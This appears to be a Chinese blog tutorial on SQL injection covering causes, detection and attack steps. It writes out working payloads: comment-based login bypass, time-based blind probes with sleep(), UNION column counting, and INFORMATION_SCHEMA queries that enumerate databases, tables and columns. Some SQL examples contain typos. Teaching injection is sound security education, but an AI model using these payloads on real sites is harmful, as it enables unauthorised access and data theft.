• SQL注入介绍


    一、SQL注入概念
      1、sql注入是一种将sql代码添加到输入参数中
      2、传递到sql服务器解析并执行的一种攻击手法
      举例:某个网站的用户名为name=‘admin’。执行时为select name from users where name=‘admin’
        则输入时输入name='' or '1=1'。实则数据库中执行的是select name from users where name='' or '1=1'则为真,用户名有效

    二、SQL注入的产生
      1、web开发人员无法保证所有的输入都已经过滤
      2、攻击者利用发送给sql服务器的输入数据构造可执行的sql代码
      3、数据库未做相应的安全配置
      对于1和2两点,攻击者可以利用get请求、post请求、cookie信息、相应的http头信息等进行数据的输入而达到攻击的目的

    三、寻找sql注入漏洞
      1、通过构造异常而引发异常,例如:只支持整型的地方输入特殊字符来引起sql异常
      2、通过get请求、post请求、cookie信息、相应的http头信息等查找敏感信息
      3、检测服务器中相应的异常

    四、进行sql注入攻击
      1、数字注入。利用数据库中where判断语句中数字输入进行攻击。
        例如:select name from users where name='' or '1=1'。结果永远为true
      2、字符串注入。利用mysql的注释方法进行攻击
        a、#注释的方法。
          用户名的输入框中输入:admin'#,密码任意填写。
          在数据库中执行的是:select * from name='admin'#'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin
        b、-- hdka方法,两个横杠+空格+任意字符。在执行的时候空格后面的所有被当作注释处理
          用户名的输入框中输入:admin'-- ,密码任意填写。
          在数据库中执行的是:select * from name='admin'-- 'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin 
     
    五、注入步骤

      1、找寻注入点

      输入一个单引号,如果报错说明语法错误则存在注入点
      执行的语句为:select xxx form xxx where x=‘‘’;

      如果单引号没有反应,可尝试盲注
      加时间进行尝试
      X' and sleep(10) --ss'

       sleep中的为时间,10即位10s
      如果浏览器显示在加载中说明可能存在注册点

      2、猜字段

      Sql中数字可以作为字段进行匹配
      因为使用union必须前后字段数量相同
      ' union select 1 -- '
      ' union select 1,2 -- '
      ' union select 1,2,3 -- '
      ...
      如果前面语句中只有两个字段,但是想要获取4个其他表中字段值,使用concat
      例:selcet id,name form user where = 输入框;
      注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --'

      3、使用union获得其他表信息

      获得当前数据库及用户信息
      ' union select version(),database() --'

      数据库版本信息
      version()  
      获得当前数据库名
      database()  

      查询所有库名
      'union select TABLE_SCHEMA from INFORMATION_SCHEMA.tables --'  
      查询表名
      'union select table_name from INFORMATION_SCHEMA.tables --'
      查询表名及对应的库名
      'union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --'

      查询数据表中的列名
      'union select colunm_name from INFORMATION_SCHEMA.colunms where table_name='xxx表' --'

  • 相关阅读:
    伙伴宿舍管理系统(源码下载)
    清空SQL数据库日志
    indexOf(String.indexOf 方法)
    C#实现QQ助手(登录QQ,发消息,查任意QQ资料)附源码下载
    C#cookie自动获取工具发布
    winform中怎么动态修改窗体的大小
    IIS Rewrite 下载与配置
    HTML代码转JS|C#字符串工具(附源代码)
    FTPHelper-FTP帮助类,常用操作方法
    c# 怎么动态修改webservice的地址和端口 动态修改配置文
  • 原文地址:https://www.cnblogs.com/tynam/p/8993043.html
Copyright © 2020-2023  润新知